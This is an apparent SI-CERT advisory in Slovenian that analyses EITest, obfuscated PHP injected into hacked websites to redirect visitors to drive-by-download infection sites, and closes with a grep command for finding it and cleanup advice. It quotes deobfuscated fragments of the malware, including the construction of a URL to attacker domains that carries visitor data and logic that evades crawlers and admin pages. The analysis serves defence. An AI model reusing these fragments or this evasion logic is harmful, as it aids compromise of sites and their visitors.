Opis
Na SI-CERT smo bili pred časom obveščeni o okuženih slovenskih spletnih mestih z zlonamerno kodo EITest. Ta je bila prvič zaznana že v letu 2011, njen namen pa je preusmeritev obiskovalcev spletne strani na druga zlonamerna mesta, ki poskušajo računalnike okužiti z virusom (t.i. drive-by-download). V večini primerov gre za poskuse okužbe z bodisi enim od izsiljevalskih virusov ali bančnim trojancem. EITest napadalci lahko uporabljajo tudi za druge napade, npr. phishing. O vseh primerih smo že obvestili administratorje zlorabljenih spletnih mest.
Okužba spletnega mesta
Napadalci v spletno mesto največkrat vdrejo preko javno znane ranljivosti CMS sistema ali katerega od nameščenih vtičnikov, ali pa pridobijo administrativni dostop do sistema, npr. preko kraje gesla ali pa s poskušanjem različnih kombinacij up. imen in gesel. Po vdoru v php datoteke s pomočjo skripte vstavijo močno zamaskirano php kodo.
Analiza kode
Zlonamerno kodo lahko analiziramo na dva načina. Dinamična analiza pomeni, da kodo zaženemo v nadzorovanem okolju, in iz zaznave in analize dogodkov, ki jih izvajanje kode povzroči, skušamo sklepati na njeno delovanje. Taka vrsta analize je precej hitra, lahko se jo opravi s specializiranimi avtomatskimi orodji, vendar pa se pri njej lahko zgodi, da spregledamo kakšno pomembno informacijo. Pri statični analizi pa delovanje zlonamernega programa poskušamo razumeti s pregledom in analizo same programske kode. V primeru zlonamernih programov je programska koda skoraj vedno zamaskirana s posebnimi tehnikami, ki analizo močno otežijo. Zato se vsaka statična analiza kode začne s t.i. odmaskiranjem (ang. deobfuscation).
Odmaskiranje EITest kode
Za odmaskiranje kode je potrebnih kar nekaj korakov. V prvem koraku pretvorimo hex vrednosti v berljivo tekstovno obliko.
Določeni deli kode se pojavijo že sedaj. Iz prvega dela razberemo, da se v spremenljivki $ua = strtolower($_SERVER[“HTTP_USER_AGENT”]) preveri spletni brskalnik, iz katerega uporabnik dostopa do okužene spletne strani: ali gre za Mozilla Firefox (!strstr($ua, “rv:11”)) ali Internet Explorer (!strstr($ua, “msie”)).
Srednji del kode je še vedno zelo zamaskiran, zato pregledamo zadnji del kode iz katerega lahko razberemo vrednosti nekaterih spremenljivk.
Spodnji del kode vrne regulani izraz /(.*)/e
$mphnqrcefq=substr($vxhofewdyq,(38860-28754),(47-40));
V spremenljivko $yifnlofxzi se shrani vsebina, ki jo dobimo iz funkcije ybhxizuhwj(), ki s pomočjo zanke zamenja določene znake vhodnemu parametru, v tem primeru je to zamaskiran tekst v spremenljivki $vxhofewdyq.
Spremenljivka $bavbobaqud dobi vrednost preg_replace
$bavbobaqud = substr($vxhofewdyq, (51350 – 41237), (66 – 54));
Z izvedbo sledeče vrstice kode $bavbobaqud($mphnqrcefq, $yifnlofxzi, NULL); pa potem dobimo naslednjo delno odmaskirano kodo.
Nad zamaskirano kodo izvedemo več preg_replace ukazov, ki v besedilu zamenja znake na podlagi podanega regularnega izraza.
Z zadnjim preg_replace ukazom oz. $ll($w9, $syv.'(“O”,”P”,”A”,”S”,”D”,”F”,”G”,”H”,”J”,”K”,”L”,”Z”,”X”,”C”,”V”,”B”,”N”,”M”)’.$ji9, NULL);pridemo že skoraj do končne kode. V zadnjem koraku prek spremenljivke $v_ v for zanki pridemo do končne odmaskirane kode:
Delovanje EITest kode
Odmaskirana koda vsebuje spremenljivko $url = “http://” . cqq(“.com”) . “/” . $g4; , ki vsebuje spletni naslov, na katerega se povezuje.
Funkicja cqq(“.com”) naključno vrne dve domeni: e108dfcb.com ali 32f988f6.com. Celotnemu spletnemu naslovu pa se dodajo še parametri:
$a = check212(“HTTP_USER_AGENT”);
$b = check212(“HTTP_REFERER”);
$c = check212(“REMOTE_ADDR”);
$d = check212(“HTTP_HOST”);
$e = check212(“PHP_SELF”);
V primeru, da je kateri koli od spodnjih pogojev resničen, potem se zlonamerna koda ne bo izvedla:
– USER_AGENT ni definiran
– IP naslov žrtve ni naveden
– HTTP_HOST ni naveden
– Trenutno okužena datoteka vsebuje besedo admin
– USER_AGENT se ujema z znanim iskalniškim pajkom (ang. Crawler) – Google, Slurp, MsnBot, IE_Archiver, Yandex, Rambler).
if (($a == “non”) or ($c == “non”) or ($d == “non”) or strrpos(strtolower($e) , “admin”) or (preg_match(“/” . implode(“|”, array(“google”,”slurp”,”msnbot”,”ia_archiver”,”yandex”,”rambler”))
Če se postopek preverjanja konča brez napak, potem se sproži zahteva za tovor (ang. »payload«). V nasprotnem primeru se zlonamerna koda na okuženo spletno stran ne naloži.
Identifikacija kode na spletnem mestu in zaščita zlorabljenih sistemov
EITest koda se na nekaterih spletnih mestih lahko nahaja tudi po več let. Običajno se jo lahko z iskanjem znakovnega niza “= explode(chr((” v php datotekah, npr. z ukazom:
# find /var/www -type f -name "*.php" -print0 | xargs -0 grep -li "= explode(chr(("
Ko se identificira php datoteke z vstavljeno kodo, je najprej potrebno zabeležiti čas zadnje spremembe datotek, nato pa vstavljeno kodo odstraniti, bodisi ročno, ali pa z restavracijo datotek iz čiste varnostne kopije. V času, ko so bile datoteke spremenjene, je potrebno natančno preučiti dnevniške datoteke spletnega strežnika. Iz njih se običajno da razbrati, na kakšen način je napadalec vstavil kodo.To varnostno luknjo je nato potrebno čimprej zakrpati. Zgolj izbris vstavljene kode iz php datotek ni ustrezen ukrep, saj se s tem ne zaščiti sistema pred ponovno zlorabo. Skrbnikom spletnih mest svetujemo, da obvestila prejeta s strani SI-CERT obravnavajo odgovorno in ukrepajo po danih navodilih.